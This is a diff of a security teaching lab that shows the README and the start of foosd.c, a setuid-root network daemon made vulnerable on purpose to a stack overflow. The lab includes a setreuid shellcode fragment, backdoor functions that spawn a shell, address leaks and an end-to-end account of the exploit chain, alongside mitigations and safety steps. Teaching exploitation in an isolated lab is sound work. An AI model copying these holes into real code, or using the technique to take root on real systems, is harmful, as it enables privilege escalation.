||||
|
||||
## 3. Quick start
|
||||
|
||||
```console
|
||||
$ make # build everything, as your normal user
|
||||
$ make setuid # one-time, asks for sudo: chown root + chmod u+s
|
||||
$ make run # start foosd on 127.0.0.1:2343
|
||||
$ make test-suid # full matrix; shellcode + ret2win-root must give root
|
||||
```
|
||||
|
||||
Interactive smoke test:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- you are root, on the victim
|
||||
# exit
|
||||
```
|
||||
|
||||
When you are done:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # hygiene: never leave a root SUID binary lying around
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *When should I set the SUID bit?* — the answer you asked for
|
||||
|
||||
Exactly **once, after building, before running the daemon for the
|
||||
root-shell demos** — and only on a machine that is yours, disposable, and
|
||||
off the network:
|
||||
|
||||
```console
|
||||
$ make # compile foosd, foosc, tests
|
||||
$ make setuid # <-- THE moment. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # start AFTER setting the bit
|
||||
```
|
||||
|
||||
Two rules that matter more than the exact timing:
|
||||
|
||||
1. **Set it only after the binary is final.** If you rebuild (`make` / `make
|
||||
clean`) after setting the bit you will hit a "Permission denied" writing
|
||||
the root-owned output file — and if you force the rebuild, the toolchain
|
||||
recreates the file **without** the `s`, silently undoing the setup. The
|
||||
canonical sequence whenever you rebuild is therefore
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Remove it when you are done.** `make unsetuid`. A live, root-owned,
|
||||
setuid binary with an exploitable bug sitting in your tree is not a
|
||||
learning aid, it is a root hole with a compile error between it and
|
||||
nowhere. On a shared or production machine: **don't do any of this.**
|
||||
The daemon also refuses by default to bind anything but loopback (see
|
||||
§7).
|
||||
|
||||
If you run the exploit *without* ever setting the bit, nothing breaks — the
|
||||
payload still lands and you still get a shell. The difference is in one
|
||||
number, and the exploit says it out loud:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
That "works, but not root" outcome is itself part of the lab. Keep it in
|
||||
mind for the next section.
|
||||
|
||||
---
|
||||
|
||||
## 5. The mechanism — and the twist that makes SUID interesting
|
||||
|
||||
### 5.1 The overflow (identical to `food`)
|
||||
|
||||
`foosd`'s handler gives a `read()` 512 bytes of trust while handing it a
|
||||
64-byte stack buffer:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over the edge */
|
||||
```
|
||||
|
||||
On x86-64 the stack grows down. The exploit writes 64 bytes of junk to fill
|
||||
`buf`, 8 to fill the saved frame pointer, and 8 more to replace the **saved
|
||||
return address**. When `vulnerable_handler` executes `ret`, the CPU pops the
|
||||
attacker's value into `RIP` — attacker-controlled code execution. The
|
||||
exploit discovers the exact distance (88 bytes for this build) by parsing
|
||||
`objdump` output rather than hardcoding it, so the number survives rebuilds.
|
||||
|
||||
### 5.2 The twist: the shell refuses to be root
|
||||
|
||||
Here is where thinking "SUID bug → spawn /bin/sh → root" would go wrong, and
|
||||
why this lab has the exact shape it has.
|
||||
|
||||
When a setuid-root program runs, its `ruid` is still the launching user and
|
||||
its `euid` is root. If the program — or the attacker — now starts a shell:
|
||||
|
||||
* `execve("/bin/sh")` does **not** change the uids; the new process inherits
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (and dash) **check exactly that condition at startup**. From the bash
|
||||
manual: *"If the shell is started with the effective user (group) id not
|
||||
equal to the real user (group) id, and the -p option is not supplied, …
|
||||
the effective user id is set to the real user id."*
|
||||
|
||||
So the shell takes one look at itself and *drops root* — a defence the shell
|
||||
authors built specifically against this attack (the historical justification
|
||||
was the setuid-shell / setuid-script problem). The result is the “works, but
|
||||
not root” cases:
|
||||
|
||||
| Technique | What it executes | Resulting uid |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `foosd`'s `win()` → `execl("/bin/sh")` | **1000** — shell landed, root reset by bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → fresh `sh -c '/bin/sh'` | **1000** — same reset, one level down |
|
||||
| `ret2win-root` | `foosd`'s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid cleared from C |
|
||||
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid cleared from machine code |
|
||||
|
||||
The two that reach root differ from the two that don't by exactly one
|
||||
idea: **they clear the *real* uid, not just the effective one.**
|
||||
|
||||
```c
|
||||
setuid(0) /* changes euid to 0, but ruid stays 1000:
|
||||
bash still sees euid != ruid and STILL resets. */
|
||||
setreuid(0, 0) /* changes BOTH: ruid = euid = 0.
|
||||
bash sees equal uids and keeps root. */
|
||||
```
|
||||
|
||||
That is why the classic `/bin/sh` shellcode you will find everywhere on the
|
||||
internet starts with a uid-clearing syscall — and it is the reason the
|
||||
shellcode here is 32 bytes instead of 23: the first five instructions are
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 So what is the exploit, end to end?
|
||||
|
||||
1. `foosc` reads `foosd`'s banner over the socket. It gets:
|
||||
- `ids=0/1000` — euid/ruid (the SUID self-diagnosis)
|
||||
- `stack=…` and `libc=…` — pointers (the ASLR leaks)
|
||||
- `BUF=…` — the exact address of the buffer it is about to overflow
|
||||
2. From the target binary (via `objdump`) it learns `rip_off` and the
|
||||
addresses of `win()` / `win_root()`.
|
||||
3. From *its own* libc (via `/proc/self/maps` + `dlsym` + a memory scan) it
|
||||
measures the offsets of `system`, `read`, `/bin/sh` and a
|
||||
`pop rdi; ret` gadget — nothing is hardcoded.
|
||||
4. It assembles the payload. For `-t shellcode` that is:
|
||||
`[32-byte setreuid+execve code][padding to RIP][ret fix][address of buf]`.
|
||||
5. `foosd`'s `read()` overflows; `ret` lands on the shellcode; the kernel
|
||||
executes `setreuid(0,0)` (fine: euid 0 is privileged) and then `execve`
|
||||
of `/bin/sh`. bash starts with `ruid == euid == 0` and stays root.
|
||||
6. `foosc` relays your terminal to that root shell until you type `exit`.
|
||||
|
||||
One sanity detail that costs people a lot of time if missed: the exploit
|
||||
tests each uid-clearing behaviour **without** needing the setuid bit first.
|
||||
Run `make test` before `make setuid` and you will watch every technique land
|
||||
a shell while `ROOT=MISSING`; run `make test-suid` after `make setuid` and
|
||||
`ROOT=SEEN` appears on the two techniques that clear the real uid. That A/B
|
||||
is the whole lesson, executable in ten seconds.
|
||||
|
||||
---
|
||||
|
||||
## 6. The old one-liners — and why most of them are dead
|
||||
|
||||
If you have read about SUID, you have read about `PATH` hijacking, `LD_PRELOAD`,
|
||||
and setuid shells. All three are classic, and all three fail on a modern
|
||||
system against *this program*. It is worth knowing precisely why, because the
|
||||
reasons are the defences you get for free:
|
||||
|
||||
| Attack class | Old claim | Why it fails on a modern box |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` a malicious library | "The setuid program loads my `.so` and runs my code as root." | The kernel marks a setuid binary as **AT_SECURE**; glibc then ignores `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` and friends. The environment is treated as *untrusted input*. `LD_PRELOAD` against a setuid binary is a no-op. |
|
||||
| `PATH` hijack (`system("ls")` with a poisoned PATH) | "Point PATH at a directory containing my fake `ls`; the root program runs it." | A second face of the same defence: an AT_SECURE process gets a **sanitized `PATH`** (a safe default, `/usr/local/bin:/usr/bin:/bin`-ish) for `system()`/`execvp`, so the poisoned directory is never consulted. |
|
||||
| Setuid `system()` command injection | "The injected command runs with euid 0." | `system()` runs the command in a fresh `/bin/sh`, and that shell — §5.2 — resets `euid = ruid` on startup. The injected command executes as the *real* uid. (It is still a bug; it just no longer escalates through `/bin/sh`.) |
|
||||
| Setuid root shell on disk (`cp /bin/sh /tmp; chmod u+s`) | "Run it, get root." | Exactly the defense above, and it is why modern distros ship no setuid root shell. Even when you succeed in making one, bash refuses to keep euid 0 unless started with `-p`. |
|
||||
|
||||
What remains alive, and is this lab: **the program is *already* root when it
|
||||
runs.** You do not need the environment or `system()`; you need the program
|
||||
to execute *your* code (via a memory-corruption bug) while privileged, and
|
||||
your code must be careful enough to fix the uid mismatch itself —
|
||||
`setreuid(0,0)` — before it hands you a shell. Memory corruption + SUID is
|
||||
the combination that still ends in `uid=0`, which is exactly why memory-safe
|
||||
languages, canaries, and no-execute stacks are not a fashion choice.
|
||||
|
||||
---
|
||||
|
||||
## 7. The safety rails built into the daemon
|
||||
|
||||
`foosd` is deliberately the *worst* piece of software in this repository, so
|
||||
it also carries the most guard rails:
|
||||
|
||||
1. **Loopback only, enforced.** `foosd` refuses any bind address other than
|
||||
loopback unless you pass `-L`. A setuid-root listener on a real
|
||||
interface is a remote root service; the refusal is the default so the
|
||||
dangerous state has to be typed in deliberately.
|
||||
2. **Self-diagnosis.** At startup it logs `ruid`/`euid` and whether it is
|
||||
running as root, so the console shows the state the exploit depends on.
|
||||
3. **The log never reaches the client.** The daemon reserves a private log
|
||||
descriptor before sockets replace fd 1, so crash reporter output and
|
||||
internal paths cannot be read back over the wire by the attacker.
|
||||
4. **Crash reporter.** A SIGSEGV handler logs `RIP`/`RSP` — the value the
|
||||
attacker wrote into the return address — so a successful hijack is
|
||||
visible in `foosd.log` instead of being a silent death.
|
||||
5. **`make unsetuid`.** Removing the bit is scripted, because leaving it set
|
||||
is the failure mode people actually have.
|
||||
|
||||
---
|
||||
|
||||
## 8. Mitigations — what each one does and does *not* stop
|
||||
|
||||
Applied to `foosd` via `make hardened`, one at a time or together:
|
||||
|
||||
| Mitigation | What it stops | What it does *not* stop |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | The overflow: `ret` detects a smashed canary and aborts before the attacker's address is used. Stops **all four** techniques here — they share the one vulnerable `read()`. | Nothing about the *design*: the binary is still setuid root; a different bug (format string `%n`, heap overflow, use-after-free) has no canary to trip. |
|
||||
| `-fPIE -pie` (ASLR for the binary) | Using predictable `win()`/`win_root()` addresses (the ret2win techniques). | The shellcode technique, if a stack address still leaks (the `BUF=` line). |
|
||||
| `-z noexecstack` (NX / W^X) | The shellcode: the CPU refuses to fetch instructions from a data-only page, so jumping to `buf` is a SIGSEGV. | ROP — running code that already exists (`ret2libc`). |
|
||||
| All three together | A hard-to-overflow, randomised, non-executable-stack binary. This is what a normal hardened build looks like. | The setuid bit. **A hardened SUID binary is still a SUID binary.** If any reachable memory-safety bug survives, it is still "bug inside a root process". |
|
||||
|
||||
The console proof is `make test-hardened`, which swaps in the hardened build
|
||||
and shows all techniques dying at the canary while `foosd_hardened.log`
|
||||
records `*** stack smashing detected ***`.
|
||||
|
||||
Two design-level mitigations that no compiler flag delivers, and that the
|
||||
parent lab (`food`) uses as well:
|
||||
|
||||
- **Least privilege.** A daemon for an unprivileged port (2343 > 1024) has
|
||||
no legitimate need for root. A correct `foosd` would bind, then
|
||||
`setgroups`/`setgid`/`setuid` to an unprivileged account and *verify it
|
||||
stuck* (the correct version is in the source as `drop_privs()`, never
|
||||
called — the un-called-ness is Bug #3 of the lab).
|
||||
- **Bound the read.** `n = read(fd, buf, sizeof(buf) - 1)`. One correct
|
||||
line outranks every compiler flag in the table.
|
||||
|
||||
---
|
||||
|
||||
## 9. The wire protocol (so you can read the daemon with netcat)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — could not be printed as `euid=`/`ruid=` because the test
|
||||
harness proves a shell by grepping for the literal `uid=` and the banner
|
||||
must not contain it (a probe sharing a signature with the answer is a
|
||||
classic false-positive trap; see the comment in `foosd.c`). The harness
|
||||
additionally requires the strict `id`-output shape — `uid=NNN(...)` — so
|
||||
nothing the daemon or the exploit prints can satisfy the check by
|
||||
accident: `foosc`'s own "target euid=… ruid=…" chatter contains `uid=` as
|
||||
a substring, which once made a hardened-build test report a shell that
|
||||
had never run.
|
||||
* `stack=`, `libc=`, `BUF=` — the ASLR leaks: allow the shellcode and
|
||||
ret2libc to compute exact addresses.
|
||||
|
||||
---
|
||||
|
||||
## 10. Exercises
|
||||
|
||||
1. **Watch the non-root demotion.** Run `make test` *before* `make
|
||||
setuid`, then again after. Explain the `ROOT=SEEN` change using the
|
||||
ruid/euid story in §5.2.
|
||||
2. **Read the crash.** Run `./foosc -t demo -n` and then read `foosd.log`.
|
||||
The `RIP=0x4141414141414141` line is the attacker's padding — the proof
|
||||
that the overflow, not bad luck, controls execution.
|
||||
3. **Add the canary.** `make hardened` and change the `test-hardened` loop
|
||||
yourself; the log line `*** stack smashing detected ***` is the defence
|
||||
working.
|
||||
4. **Disable the leak.** Comment out the `BUF=` line in `foosd.c`,
|
||||
rebuild, and watch `-t shellcode` go from deterministic to a guessing
|
||||
game. That single line is why real ASLR bypasses are a whole field.
|
||||
5. **The `-p` experiment.** In a copy of `win()`, change `execl("/bin/sh",
|
||||
"sh", NULL)` to `execl("/bin/sh", "sh", "-p", NULL)` and observe root.
|
||||
`-p` is the documented escape hatch from the shell's guard — and the
|
||||
reason "just spawn a shell" advice from old write-ups is incomplete.
|
||||
6. **Why not `setuid(0)`?** Rewrite the shellcode to call `setuid(0)`
|
||||
instead of `setreuid(0,0)` (syscall 105). The shell still lands — and
|
||||
still drops to `uid=1000`. This is the single most instructive one-line
|
||||
experiment in the whole repository.
|
||||
|
||||
---
|
||||
|
||||
## 11. Safety and cleanup
|
||||
|
||||
- Loopback only, by default and by design; `-L` binds further, and only a
|
||||
disposable VM should even consider it.
|
||||
- This is a root-shell lab. Do not run it on a machine that matters, and do
|
||||
not point `foosc -h` at anything you do not own.
|
||||
- Cleanup ritual: `make stop` then `make unsetuid`, and if you want the tree
|
||||
pristine again `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
1142
suid/foosc.c
Normal file
1142
suid/foosc.c
Normal file
File diff suppressed because it is too large
Load diff
728
suid/foosd.c
Normal file
728
suid/foosd.c
Normal file
|
|
@ -0,0 +1,728 @@
|
|||
/*
|
||||
* ============================================================================
|
||||
* foosd.c -- "foosd": an INTENTIONALLY VULNERABLE SUID-ROOT network daemon
|
||||
* ============================================================================
|
||||
*
|
||||
* PURPOSE
|
||||
* -------
|
||||
* This is the SUID companion to `food`. Where `food` demonstrated how a
|
||||
* buffer overflow becomes remote code execution, `foosd` demonstrates what
|
||||
* happens when that RCE lands in a process whose *effective* uid is 0
|
||||
* (root) because the binary has the setuid bit set.
|
||||
*
|
||||
* Run it without the setuid bit and you get a normal user shell, exactly as
|
||||
* with food. Give the binary the setuid bit (`sudo make setuid`) and the
|
||||
* exact same exploit-shipped shellcode opens a *root* shell -- because the
|
||||
* process the shellcode runs in already has euid 0, and the shellcode is
|
||||
* careful to clear the *real* uid as well (see the comment in foosc.c).
|
||||
*
|
||||
* This lab exists so you understand, hands-on, why "SUID bit + any reachable
|
||||
* memory-corruption bug" is one of the most dangerous combinations in Unix,
|
||||
* and -- the other half of the lesson -- why a carefully written SUID
|
||||
* program is not necessarily safe either: the setuid bit silently changes
|
||||
* the meaning of EVERY bug in the program.
|
||||
*
|
||||
* WHAT THE SETUID BIT ACTUALLY DOES
|
||||
* --------------------------------
|
||||
* Every process carries three user ids:
|
||||
*
|
||||
* real uid (ruid) the account that STARTED the process
|
||||
* effective uid (euid) what the kernel checks when making decisions
|
||||
* saved uid (suid) the "slot" a privileged process may return to
|
||||
*
|
||||
* A normal program has ruid == euid == saver. When you run a setuid binary:
|
||||
*
|
||||
* ruid = you (e.g. 1000, hanez)
|
||||
* euid = the file owner (e.g. 0, root)
|
||||
*
|
||||
* The process is *root for all access-control purposes* even though the user
|
||||
* who launched it is not. Every program under test in this lab is a child of
|
||||
* that process (the daemon forks per connection), so each child also has
|
||||
* euid 0. THAT is the whole attack surface the exploit aims at.
|
||||
*
|
||||
* THE CRUCIAL SECOND FACT -- WHY THIS LAB NEEDS setreuid SHELLCODE
|
||||
* ----------------------------------------------------------------
|
||||
* The classic "I got root, I'll just spawn /bin/sh" does NOT work from a
|
||||
* setuid process, and the reason is a defence built into the shell itself:
|
||||
*
|
||||
* When bash (and dash, and most shells) starts with euid != ruid and is
|
||||
* NOT given the `-p` (privileged) flag, it sets euid = ruid and walks
|
||||
* away from the privilege. Bash documented this in its manual page. It
|
||||
* exists precisely to stop a setuid binary from dropping the attacker
|
||||
* into a root shell.
|
||||
*
|
||||
* So in this lab:
|
||||
* win() -> execl("/bin/sh") -> shell, but uid 1000
|
||||
* system("/bin/sh") -> ret2libc -> shell, but uid 1000
|
||||
* shellcode without
|
||||
* setreuid(0,0) -> execl -> shell, but uid 1000
|
||||
* shellcode WITH
|
||||
* setreuid(0,0) -> ruid becomes 0, bash sees equal uids,
|
||||
* keeps euid 0 -> ROOT SHELL
|
||||
*
|
||||
* The shellcode in foosc.c therefore begins with setreuid(0, 0). That is the
|
||||
* same reason the classic 24-byte /bin/sh shellcode you will find all over
|
||||
* the internet starts with a setuid(0) syscall.
|
||||
*
|
||||
* SAFETY RAILS (please keep them in place)
|
||||
* ----------------------------------------
|
||||
* * Binds to 127.0.0.1 by default and REFUSES a non-loopback bind unless
|
||||
* you pass -L. A setuid-root process listening on a real interface is a
|
||||
* remote root hole waiting for a port scan. Do not do it.
|
||||
* * Prints a startup warning to the log when it detects that it IS running
|
||||
* with euid 0, because a well-designed daemon has no business being
|
||||
* root on an unprivileged port (2343 > 1024).
|
||||
* * Does not bind on 0.0.0.0 even with -L unless you also give -h 0.0.0.0;
|
||||
* -L merely lifts the loopback *guard*.
|
||||
*
|
||||
* Build: make foosd (as your normal user)
|
||||
* sudo make setuid (once, gives foosd the +s bit and root owner)
|
||||
*
|
||||
* THE BUILD FLAGS ARE THE SAME DELIBERATE REMOVALS AS food
|
||||
* --------------------------------------------------------
|
||||
* -fno-stack-protector no canary: the overflow is not detected
|
||||
* -no-pie fixed addresses: win(), win_root() are constants
|
||||
* -z execstack the stack is executable: shellcode can run
|
||||
*
|
||||
* `make hardened` rebuilds this file with all three re-enabled, which stops
|
||||
* every technique, and `make test-hardened` shows you the log evidence.
|
||||
* Note carefully in README.md: NOT ONE of those compiler mitigations does
|
||||
* anything about the "the binary is setuid root" design decision. Memory
|
||||
* safety and least privilege are two separate problems.
|
||||
*
|
||||
* Usage: ./foosd [-h HOST] [-p PORT] [-d] [-L]
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
/* Request the gnu decls we need (dprintf, etc.). */
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
|
||||
#include <errno.h> /* errno, strerror(). */
|
||||
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
|
||||
#include <grp.h> /* setgroups(): part of the (never-called) privilege
|
||||
* drop -- supplementary groups must go first. */
|
||||
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
|
||||
#include <signal.h> /* signal(), sigaction(). */
|
||||
#include <stdarg.h> /* va_list for our log wrapper. */
|
||||
#include <stdint.h> /* uint16_t. */
|
||||
#include <stdio.h> /* dprintf, snprintf. */
|
||||
#include <stdlib.h> /* atoi, _exit, getenv. */
|
||||
#include <string.h> /* memset, strncmp, memchr, strlen. */
|
||||
#include <sys/socket.h>/* socket, bind, listen, accept. */
|
||||
#include <sys/stat.h> /* umask. */
|
||||
#include <sys/types.h> /* ssize_t, pid_t. */
|
||||
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
|
||||
#include <sys/wait.h> /* waitpid(). */
|
||||
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Configuration constants */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Port. 2343 is deliberately not the 2342 used by food, so both labs can run
|
||||
* side by side. It is above 1024 --- which is itself a teaching point: a
|
||||
* correct daemon does not need root to bind this port, so being setuid is a
|
||||
* design mistake, not a requirement. */
|
||||
#define FOOSD_PORT 2343
|
||||
|
||||
/* Loopback is the ONLY default. -L is required to go further. */
|
||||
#define FOOSD_HOST "127.0.0.1"
|
||||
|
||||
/* Size of the overflowed buffer. Same shape as food so the exploit's
|
||||
* objdump-based offset detection (shared logic) works unchanged. */
|
||||
#define FOOSD_BUFSZ 64
|
||||
|
||||
/* How much read() accepts. The mismatch with FOOSD_BUFSZ IS the bug. */
|
||||
#define FOOSD_READMAX 512
|
||||
|
||||
/* Size of the second (format-string demo) buffer. */
|
||||
#define FOOSD_LOGSZ 128
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* Logging (same design as food: the log never travels to the attacker) */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
|
||||
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
|
||||
* memory or crashes a child never learns internal paths or addresses from
|
||||
* logs (and never mixes its own bytes with ours). */
|
||||
static int g_logfd = -1;
|
||||
|
||||
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
|
||||
* write() per line, so forked children cannot interleave mid-line. */
|
||||
static void logmsg(const char *fmt, ...)
|
||||
{
|
||||
char line[1024]; /* Whole-message scratch. */
|
||||
va_list ap; /* Variadic argument cursor. */
|
||||
int n; /* Bytes formatted. */
|
||||
|
||||
/* va_start MUST precede any use of ap. An uninitialised va_list makes
|
||||
* vsnprintf walk wild stack memory -- a real bug that was hit in the
|
||||
* earlier food.c, hence the comment. */
|
||||
va_start(ap, fmt);
|
||||
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
|
||||
va_end(ap); /* Always pair va_start with va_end. */
|
||||
if (n < 0)
|
||||
return;
|
||||
|
||||
if (g_logfd >= 0)
|
||||
dprintf(g_logfd, "[foosd %d] %s\n", (int)getpid(), line);
|
||||
}
|
||||
|
||||
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
|
||||
* hold them next to the deliberately broken read() in vulnerable_handler()
|
||||
* and see the difference: these loop until done and check every result. */
|
||||
__attribute__((unused))
|
||||
static ssize_t read_exact(int fd, void *buf, size_t n)
|
||||
{
|
||||
size_t got = 0;
|
||||
while (got < n) {
|
||||
ssize_t r = read(fd, (char *)buf + got, n - got);
|
||||
if (r < 0) {
|
||||
if (errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
if (r == 0)
|
||||
break;
|
||||
got += (size_t)r;
|
||||
}
|
||||
return (ssize_t)got;
|
||||
}
|
||||
|
||||
static ssize_t write_all(int fd, const void *buf, size_t n)
|
||||
{
|
||||
size_t sent = 0;
|
||||
while (sent < n) {
|
||||
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
|
||||
if (w <= 0) {
|
||||
if (w < 0 && errno == EINTR)
|
||||
continue;
|
||||
return -1;
|
||||
}
|
||||
sent += (size_t)w;
|
||||
}
|
||||
return (ssize_t)sent;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The ret2win targets */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* win() -- the "easy" backdoor, and the reason a whole section of README.md
|
||||
* exists. It is the same function as in food.c with ONE addition's worth of
|
||||
* subtlety:
|
||||
*
|
||||
* execl("/bin/sh", "sh", NULL)
|
||||
*
|
||||
* gives the attacker a shell, but NOT a root shell, even though THIS process
|
||||
* has euid 0, because bash/dash reset euid = ruid at startup when the two
|
||||
* differ (and here ruid is still the launching user, e.g. 1000). So win()
|
||||
* is a demonstration of control-flow hijack, and at the same time a real,
|
||||
* documented example of a defence (the shell's privilege guard) that spoils
|
||||
* what would otherwise be a one-line root shell.
|
||||
*
|
||||
* It is also precisely the trap people fall into with "SUID + system()": the
|
||||
* injected command runs in a shell that just dropped the effective id, so on
|
||||
* modern systems the classic setuid+system() trick no longer yields root --
|
||||
* see README.md's "why the old one-liners fail" section.
|
||||
*/
|
||||
__attribute__((noinline, used))
|
||||
static void win(void)
|
||||
{
|
||||
pid_t pid;
|
||||
|
||||
logmsg("win() reached -- exec'ing /bin/sh (uid will NOT be root while "
|
||||
"euid!=ruid: the shell resets it; use win_root or shellcode for "
|
||||
"a real root shell)");
|
||||
|
||||
/* Fork so the daemon's accept loop child can be reaped and return. */
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
logmsg("win(): fork() failed: %s", strerror(errno));
|
||||
_exit(1);
|
||||
}
|
||||
if (pid > 0) {
|
||||
waitpid(pid, NULL, 0);
|
||||
/* Must NOT return: that would pop attacker bytes as the next RIP. */
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
|
||||
execl("/bin/sh", "sh", (char *)NULL);
|
||||
_exit(127); /* Only reached if exec failed. */
|
||||
}
|
||||
|
||||
/*
|
||||
* win_root() -- the "privileged" backdoor. Byte-for-byte the same function
|
||||
* as win() EXCEPT it first calls setreuid(0, 0).
|
||||
*
|
||||
* Why does that one line matter? Seeing it is the difference between a
|
||||
* broken exploit and a root shell, so it deserves a close look:
|
||||
*
|
||||
* * setuid(0) would set euid = 0 and saved = 0 but LEAVE ruid = 1000.
|
||||
* bash would then still see euid != ruid and still reset.
|
||||
* * setreuid(0,0) sets BOTH real and effective to 0, and (being privileged)
|
||||
* Linux also sets the saved id to 0.
|
||||
* bash now sees euid == ruid == 0 and keeps root.
|
||||
*
|
||||
* That is why classic /bin/sh shellcode begins with a uid-clearing syscall:
|
||||
* the "real" uid is the one the shell's guard compares against, and it must
|
||||
* be cleared too. This function exists so `foosc -t ret2win-root` has a
|
||||
* second, plain-C way to reach root and you can compare the two backdoors
|
||||
* directly in the debugger.
|
||||
*/
|
||||
__attribute__((noinline, used))
|
||||
static void win_root(void)
|
||||
{
|
||||
pid_t pid;
|
||||
|
||||
/* Nothing to check: a setuid process may set its uids arbitrarily. If
|
||||
* foosd is NOT setuid this fails silently and the result is simply a
|
||||
* non-root shell -- the lab works either way, which is deliberate. */
|
||||
(void)setreuid(0, 0);
|
||||
|
||||
logmsg("win_root() reached -- setreuid(0,0) done, exec'ing /bin/sh");
|
||||
|
||||
pid = fork();
|
||||
if (pid < 0) {
|
||||
logmsg("win_root(): fork() failed: %s", strerror(errno));
|
||||
_exit(1);
|
||||
}
|
||||
if (pid > 0) {
|
||||
waitpid(pid, NULL, 0);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
execl("/bin/sh", "sh", (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
__attribute__((noinline, used))
|
||||
static void vulnerable_handler(int fd)
|
||||
{
|
||||
char buf[FOOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
|
||||
char line[FOOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
|
||||
ssize_t n; /* Bytes actually read. */
|
||||
|
||||
/*
|
||||
* The BUF= leak -- the same deliberate CWE-200 disclosure as food. The
|
||||
* stack is ASLR-randomised; without this the shellcode could not find
|
||||
* itself. Real-world leaks of this kind come from %p format bugs, crash
|
||||
* dumps, debug endpoints, or serialised uninitialised pointers.
|
||||
*
|
||||
* FIX: never print addresses to untrusted clients.
|
||||
*/
|
||||
dprintf(fd, "BUF=%p\n", (void *)buf);
|
||||
|
||||
/*
|
||||
* ====================================================================
|
||||
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
|
||||
* ====================================================================
|
||||
* Identical to food: 512 bytes are accepted into a 64-byte array, so the
|
||||
* attacker writes 448 bytes past the end, overwriting the saved frame
|
||||
* pointer and — 8 bytes later — the saved return address. On return,
|
||||
* `ret` jumps wherever the attacker said:
|
||||
*
|
||||
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
|
||||
*
|
||||
* The ONLY difference from food is *what that means*: here the hijacked
|
||||
* process has euid 0, so "attacker controls RIP" becomes "attacker
|
||||
* controls root's RIP".
|
||||
*
|
||||
* FIXES (in increasing order of strength):
|
||||
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
|
||||
* 2. -fstack-protector-strong (canary aborts `ret`)
|
||||
* 3. do not take network input into fixed stack buffers at all
|
||||
* And SEPARATELY: do not run this daemon setuid. Memory safety and
|
||||
* least privilege are two different bugs; fix both.
|
||||
*/
|
||||
n = read(fd, buf, FOOSD_READMAX); /* <-- CWE-120, THE bug. */
|
||||
if (n <= 0)
|
||||
return;
|
||||
|
||||
/* Echo back a truncated copy so you can watch the overflow in the log.
|
||||
* Clamping for display does not undo the overwrite that already happened. */
|
||||
{
|
||||
ssize_t show = n < FOOSD_BUFSZ ? n : FOOSD_BUFSZ;
|
||||
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
|
||||
(void)write_all(fd, buf, (size_t)show);
|
||||
}
|
||||
|
||||
/*
|
